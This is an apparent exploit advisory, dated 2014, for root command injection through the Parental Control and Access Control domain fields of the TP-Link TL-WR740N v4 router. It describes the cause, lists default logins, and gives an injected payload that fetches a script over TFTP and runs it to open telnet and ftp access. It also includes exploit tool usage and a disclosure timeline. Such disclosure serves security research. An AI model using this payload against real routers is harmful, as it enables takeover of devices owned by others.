# Exploit Title: TP-Link TL-WR740N v4 router (FW-Ver. 3.16.6 Build 130529 Rel.47286n) arbitrary shell command execution # Date: 08/03/2014 # Exploit Author: Christoph Kuhl # Vendor Homepage: http://www.tp-link.com # Software Link: http://www.tp-link.com.de/resources/software/TL-WR740N_V4_130529.zip # Version: FW-Ver. 3.16.6 Build 130529 Rel.47286n # Tested on: TP-Link TL-WR740N v4 Exploit: http://www.exploit-db.com/sploits/34254.7z Vulnerability description: The domain name parameters of the "Parental Control" and "Access Control" features of the TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) router are prone to arbitrary shell command execution as root for users who are authenticated against the web interface. Each shell payload is restricted up to 28 bytes. The "Parental Control" feature allows you to specify 8 domains (= 8 commands) so you have 8 x 28 = 244 bytes of shell commands. This is sufficient to post-load and execute a shell script of arbitrary length from a tftp server. Employing this method one can gain full control over the device when post-loading a mightier busybox MIPS binary and executing telnetd or using netcat to connect back. Default login credentials are known to be root:5up, Admin:5up or ap71:. Technical Cause: The web interface and the whole routing logic on the device is controlled by a single homebrew process (httpd) running as root. This binary is employing various fopen() and system() calls in order to configure the device. One of these calls refers to a script (/tmp/wr841n/parent.sh) being filled with user input data from the "Parental Control" mask. ... iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source 00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls USER INPUT HERE,return1 -j RETURN iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source 00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls ANOTHER USER INPUT HERE,return1 -j RETURN ... The input data is only poorly checked by some JavaScript functions but the server accepts most characters. Entering a shell command surrounded by ';' will result in code execution: ... iptables -A FORWARD_PARENTCTRL -i br0 -m mac --mac-source 00:AF:FE:22:FE:AF -p tcp --dport 80 -m multiurl --urls ;tftp -gr a 192.168.0.1;,;sh a;,return1 -j RETURN ... The same goes for the Access Control Feature. The only difference is that the script name is /tmp/wr841n/accessCtrl.sh. The attack is persistent until resetting the parental control or access control settings. After rebooting the device will execute the commands again. This vulnerability may or may not affect other TP-Link hardware and software versions. However it was only tested against TP-Link TL-WR740N v4 (FW-Ver. 3.16.6 Build 130529 Rel.47286n) within the local network. Exploit POC code description: The exploit tries to load and execute a shell script called 'a' (for attack) from the specified tftpd server. This is for the circumventing the length restriction of 28 bytes and the fact that the preloaded busybox binary is a bit restricted (no netcat and telnetd available). The 'a' script then loads a mightier busybox (filename busyboxx) binary from the tftp server specified in that 'a' script (default 192.168.0.1). It also sets up a more comfortable environment and starts telnetd as well as a ftp server. You can then connect to the router via telnet and ftp. The exploit code is written in C# (.NET 4.5) so you need .NET Framework 4.5 to execute it. Usage: ParentalControlExploit.exe [/a | /p] [RouterIp] [RouterWebIfaceUsername] [RouterWebIfacePassword] [TFTPServerIp] TP-Link TL-WR740N v4 parental control and access control exploit. 2014 by C. Kuhl. Options: /a Use Access Control Exploit /p Use Parental Control Exploit [RouterIp] IP of the target to attack (default 192.168.0.1) [Username] Username of the Webinterface Login (default admin) [Password] Username of the Webinterface Login (default admin) [TFTPServer] TFTP Host where the 'a' shell file is hosted for execution Example: ParentalControlExploit.exe /a 192.168.0.1 admin admin 192.168.0.100 History of the flaw: 07/01/2014 - Found it 07/05/2014 - Notified TP Link via their Online Support Contact form including detailed description and link to POC exploit 07/14/2014 - Got answer via mail that they could not reproduce the flaw via the router's web interface and asked for more information. 07/26/2014 - Replied to TP-Link that one cannot reproduce the bug via the router's web interface due to the javascript "check logic" and that they need to either employ direct GET requests or use the provided exploit 07/29/2014 - TP Link states that this was no security flaw because the attacker had to know the credientials to the webinterface. It was like giving the key to your flat to a housebreaker. 08/03/2014 - Publication